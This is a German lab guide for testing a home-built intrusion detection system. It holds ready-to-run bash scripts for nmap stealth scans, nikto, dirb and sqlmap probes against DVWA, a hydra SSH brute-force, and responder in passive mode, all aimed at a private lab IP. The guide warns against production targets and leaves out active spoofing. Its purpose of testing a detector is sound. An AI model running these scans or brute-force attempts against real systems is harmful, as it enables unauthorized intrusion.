Den Wächter angreifen, den Angreifer erkennen

1. Reconnaissance · nmap-Scans

Verschiedene Stealth-Variants gegen die Ziel-VM. Gut um zu prüfen ob Sniffer-Drop-Pct sauber bleibt und ob Connection-Graph die Kali-IP als neuen Knoten markiert.

#!/usr/bin/env bash
TARGET=${1:-192.168.56.10}

echo "[+] SYN-Scan (Top 1000 Ports)"
sudo nmap -sS -T4 "$TARGET"

echo "[+] FIN-Scan (Stealth)"
sudo nmap -sF -T3 "$TARGET"

echo "[+] NULL-Scan"
sudo nmap -sN -T3 "$TARGET"

echo "[+] Xmas-Scan"
sudo nmap -sX -T3 "$TARGET"

echo "[+] Service- und OS-Detection"
sudo nmap -sV -O -A "$TARGET"

2. Web-Angriffe · sqlmap, nikto, dirb

Klassische Web-App-Probes gegen DVWA oder eine eigene Test-App. Der Mirror-Port sollte den HTTP-Request-Traffic mitbekommen.

#!/usr/bin/env bash
TARGET=${1:-http://192.168.56.10}

echo "[+] nikto: Misconfig + bekannte CVEs"
nikto -h "$TARGET" -Tuning 9

echo "[+] dirb: Default-Wordlist Brute-Force"
dirb "$TARGET" /usr/share/dirb/wordlists/common.txt -r

echo "[+] sqlmap: Injection-Probe gegen DVWA-Login"
sqlmap -u "$TARGET/login.php" \
       --data "username=admin&password=admin&Login=Login" \
       --batch --threads 4 --level 3

3. Brute-Force · hydra gegen SSH

Klassisches SSH-Login-Hammern gegen einen eigenen Lab-Account. Testet sowohl die Signature-Engine (Connection-Burst-Pattern) als auch die ML-Anomaly-Detection.

Die Wordlists sind bewusst Variablen — kopiere die Datei nicht ungeprüft mit rockyou.txt gegen einen produktiven Host. Lege dir für den Test einen separaten Lab-User mit kontrolliertem, definitiv erratbaren Passwort an, damit du den Treffer auch nachweisen kannst, ohne fremde Accounts zu verbrennen.

#!/usr/bin/env bash
TARGET=${1:-192.168.56.10}
USERLIST=${USERLIST:-/path/to/your-lab-userlist.txt}
PASSLIST=${PASSLIST:-/path/to/your-controlled-pwlist.txt}

echo "[+] hydra: SSH brute-force gegen Lab-Account"
hydra -L "$USERLIST" \
      -P "$PASSLIST" \
      -t 4 -e nsr \
      ssh://"$TARGET"

4. MITM · responder im Analysis-Modus

Klassischer Windows-Lab-Angriff. Wir nutzen Analysis-Mode (-A): responder beobachtet LLMNR/NBT-Broadcasts und protokolliert sie, schreibt aber nichts aktiv ins Netz zurück. Reicht für die IDS-Detection völlig aus — der Sniffer sieht den Broadcast-Traffic ohnehin —, vermeidet aber das Spoofen fremder Hostnamen, was ein anderer rechtlicher Korridor wäre.

#!/usr/bin/env bash
# Passive Analysis-Only: responder loggt LLMNR/NBT-Queries, ohne sie zu
# beantworten. Aktiv-Spoofing (-wF) bewusst NICHT aufgeführt.
IFACE=${1:-eth0}

sudo responder -I "$IFACE" -A